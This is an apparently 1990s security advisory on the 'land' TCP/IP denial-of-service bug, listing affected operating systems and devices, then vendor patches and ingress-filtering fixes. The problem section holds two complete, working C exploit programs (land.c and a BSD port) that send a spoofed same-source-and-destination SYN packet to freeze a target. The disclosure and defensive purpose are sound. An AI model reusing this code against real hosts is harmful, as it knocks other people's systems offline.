COMMAND

    TCP/IP

SYSTEMS AFFECTED

    AmigaOS AmiTCP 4.2 (Kickstart 3.0)
    BeOS Preview Release 2 PowerMac
    BSDI 2.0, 2.1 (vanilla)
    Digital VMS ???
    FreeBSD 2.2.5-RELEASE, FreeBSD 2.2.5-STABLE, FreeBSD 3.0-CURRENT
    FreeBSD 2.1.*, FreeBSD  2.2.0R, 2.2.1R, 2.2.5R  FreeBSD-stable and
    FreeBSD-current
    HP External JetDirect Print Servers
    HP9000 Series 7/800 running HP-UX releases 9.X, 10.X, and 11.00
    IBM AS/400 OS7400 3.7 (100% CPU)
    IRIX 5.2, 5.3
    MacOS MacTCP,  MacOS 7.6.1  OpenTransport 1.1.2  (not a  compleate
    lockup), MacOS 8.0  (TCP/IP stack crashed)
    NetApp NFS server 4.1d, 4.3
    NetBSD 1.1, 1.2, 1.2a, 1.2.1, 1.3_ALPHA
    NeXTSTEP 3.0, 3.1
    Novell 4.11 (100% CPU for 30 secs)
    OpenBSD 2.1    (conflicting reports)
    OpenVMS 7.1 with UCX 4.1-7
    QNX 4.24
    Rhapsody Developer Release
    SCO OpenServer 5.0.2 SMP, 5.0.4 (kills networking)
    SCO Unixware 2.1.1, 2.1.2
    SunOS 4.1.3, 4.1.4
    Window for Workgroups 3.11
    Windows 95
    Windows NT

    3Com SuperStack II Switch 1000
    Apple LaserWriter
    BinTec BIANCA/BRICK-XS 4.6.1 router
    Cisco IOS/700 software and 7xx Systems (Cisco Classic IOS <  10.3,
    early 10.3, 11.0, 11.1, and 11.2 - see solutions for more info)
    Cisco Catalyst switches (5xxx and 29xx)
    Digital VT1200
    HP Envizex Terminal
    Livingston Office Router (ISDN)
    Livingston T1/E1 OR
    Milkyway Firewall 3.0, 3.02 (both SunOS)
    NCD X Terminals, NCDWare v3.1.0, v3.2.1
    Netopia PN440 v2.0.1

PROBLEM

    m3l (meltman) recently discovered  a new TCP/IP bug  which freezes
    many boxes.   Here's  how  it works: send  a  spoofed  packet with
    the SYN  flag set  from a  host, on  an open  port (such as 113 or
    139), setting as source the  SAME host and port (ie:  10.0.0.1:139
    to  10.0.0.1:139).    This   will  cause   the  win95    (original
    exploit was designed for win95)  machine to lock up.   However, it
    will crach many others as well.

    The piece of code included here does that:

    /* land.c by m3lt, FLC crashes a win95 box */

    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/ip_tcp.h>
    #include <netinet/protocols.h>

    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };

    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;

            for(i=0;i<(length>>1);i++)
                    value+=data[i];

            if((length&1)==1)
                    value+=(data[i]<<8);

            value=(value&65535)+(value>>16);

            return(~value);
    }

    int main(int argc,char * * argv)
    {
            struct sockaddr_in sin;
            struct hostent * hoste;
            int sock;
            char buffer[40];
            struct iphdr * ipheader=(struct iphdr *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
            struct pseudohdr pseudoheader;

            fprintf(stderr,"land.c by m3lt, FLC\n");

            if(argc<3)
            {
                    fprintf(stderr,"usage: %s IP port\n",argv[0]);
                    return(-1);
            }

            bzero(&sin,sizeof(struct sockaddr_in));
            sin.sin_family=AF_INET;

            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
            else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }

            if((sin.sin_port=htons(atoi(argv[2])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[2]);
                    return(-1);
            }

            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }

            bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
            ipheader->version=4;
            ipheader->ihl=sizeof(struct iphdr)/4;
            ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
            ipheader->id=htons(0xF1C);
            ipheader->ttl=255;
            ipheader->protocol=IP_TCP;
            ipheader->saddr=sin.sin_addr.s_addr;
            ipheader->daddr=sin.sin_addr.s_addr;

            tcpheader->th_sport=sin.sin_port;
            tcpheader->th_dport=sin.sin_port;
            tcpheader->th_seq=htonl(0xF1C);
            tcpheader->th_flags=TH_SYN;
            tcpheader->th_off=sizeof(struct tcphdr)/4;
            tcpheader->th_win=htons(2048);

            bzero(&pseudoheader,12+sizeof(struct tcphdr));
            pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
            pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
            pseudoheader.protocol=6;
            pseudoheader.length=htons(sizeof(struct tcphdr));
            bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
            tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

            if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
            {
                    fprintf(stderr,"couldn't send packet\n");
                    return(-1);
            }

            fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

            close(sock);
            return(0);
    }

    Tim Keanini made for those of  you who don't have all the  "fancy"
    LINUX networking includes a port to 44BSD flavors.  Should compile
    fine on FreeBSD, NetBSD, OpenBSD, BSDi, etc.

    /* land.c by m3lt, FLC
       crashes a win95 box
       Ported by blast and jerm to 44BSD*/

    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_icmp.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <errno.h>


    /* #include <netinet/ip_tcp.h> */
    /* #include <netinet/protocols.h> */

    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };

    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;

            for(i=0;i<(length>>1);i++)
                    value+=data[i];

            if((length&1)==1)
                    value+=(data[i]<<8);

            value=(value&65535)+(value>>16);

            return(~value);
    }

    int main(int argc,char * * argv)
    {
            struct sockaddr_in sin;
            struct hostent * hoste;
            int sock,foo;
            char buffer[40];
            struct ip * ipheader=(struct ip *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
            struct pseudohdr pseudoheader;

            fprintf(stderr,"land.c by m3lt mod by blast, FLC\n");

            if(argc<3)
            {
                    fprintf(stderr,"usage: %s IP port\n",argv[0]);
                    return(-1);
            }

            bzero(&sin,sizeof(struct sockaddr_in));
            sin.sin_family=AF_INET;

            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
            else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }

            if((sin.sin_port=htons(atoi(argv[2])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[2]);
                    return(-1);
            }

            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }

            foo=1;
            if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
            {
                    fprintf(stderr,"couldn't set raw header on socket\n");
                    return(-1);
            }

            bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
            ipheader->ip_v=4;
            ipheader->ip_hl=sizeof(struct ip)/4;
            ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
            ipheader->ip_id=htons(0xF1C);
            ipheader->ip_ttl=255;
            ipheader->ip_p=IPPROTO_TCP;
            ipheader->ip_src=sin.sin_addr;
            ipheader->ip_dst=sin.sin_addr;

            tcpheader->th_sport=sin.sin_port;
            tcpheader->th_dport=sin.sin_port;
            tcpheader->th_seq=htonl(0xF1C);
            tcpheader->th_flags=TH_SYN;
            tcpheader->th_off=sizeof(struct tcphdr)/4;
            tcpheader->th_win=htons(2048);

            bzero(&pseudoheader,12+sizeof(struct tcphdr));
            pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
            pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
            pseudoheader.protocol=6;
            pseudoheader.length=htons(sizeof(struct tcphdr));
            bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct
     tcphdr));
            tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct
     tcphdr));

            if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct
    sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
            {
                    fprintf(stderr,"couldn't send packet,%d\n",errno);
                    return(-1);
            }

            fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

            close(sock);
            return(0);
    }

SOLUTION

    An  external  "land"  attack  should  not  be  an issue if you are
    filtering IP address spoofing  at your ingress routers.  You _ARE_
    doing so?  Correct?   Well in  case you  forgot you  can find Paul
    Ferguson's  "Network  Ingress   Filtering:  Defeating  Denial   of
    Service Address Spoofing" Internet Draft at:

        ftp://ietf.org/internet-drafts/draft-ferguson-ingress-filtering-03.txt

    NetBSD 1.2.1  and NetBSD  1.3_ALPHA are  fixed.   Check NetBSD for
    more info.  FreeBSD 2.2.5-STABLE and 3.0-CURRENT got fixed.

    Without  WinSock  2.0  Update  you  need Vtcp.386 version 4.00.956
    (dated  11/26/97)  and  later  to  patch Win95 (by downloading the
    Vtcpup11.exe  file  from  the  Microsoft  Software library).  With
    WinSock 2.0 there some problems currently.  MS has released a  fix
    for NT "land" DoS attack at the following URL:

        ftp://ftp.microsoft.com
        /bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp3/land-fix/

    For Cisco solutions (they  exist and should be  applied promptly),
    check their page for info:

        http://www.cisco.com/warp/public/770/land-pub.shtml

    As for FreeBSD, FreeBSD 2.2.2R is not affected.  It was  corrected
    in  FreeBSD  2.2.6R,  FreeBSD-current  as  of  Jan  21  1998   and
    FreeBSD-stable as of Jan 30 1998.  Patches are placed in:

        ftp://ftp.freebsd.org/pub/CERT/patches/SA-98:01/

    For  HP  the  problem  can  be  fixed  by applying the appropriate
    cumulative ARPA Transport patch mentioned below:

        HP-UX release 11.00 HP9000 Series 700/800     PHNE_13692
        HP-UX release 10.30 HP9000 Series 700/800     PHNE_13671
        HP-UX release 10.20 HP9000 Series 800         PHNE_13468
        HP-UX release 10.20 HP9000 Series 700         PHNE_13469
        HP-UX release 10.10 HP9000 Series 800         PHNE_13470
        HP-UX release 10.10 HP9000 Series 700         PHNE_13471
        HP-UX release 10.01 HP9000 Series 800         PHNE_13472
        HP-UX release 10.01 HP9000 Series 700         PHNE_13473
        HP-UX release 10.00 HP9000 Series 800         PHNE_13474
        HP-UX release 10.00 HP9000 Series 700         PHNE_13475
        HP-UX release  9.04 HP9000 Series 800         PHNE_13476
        HP-UX release  9.0[3,5,7] HP9000 Series 700   PHNE_13477
        HP-UX release  9.01 HP9000 Series 700         PHNE_13478
        HP-UX release  9.00 HP9000 Series 800         PHNE_13479

    SCO releassed patches.  Please refer to following document:

        ftp://ftp.sco.com/SSE/sse010.ltr

    As pointed out filtering at the ingres router for spoofed  packets
    will stop external attacks. You can also filter at the host  level
    if your OS supports it.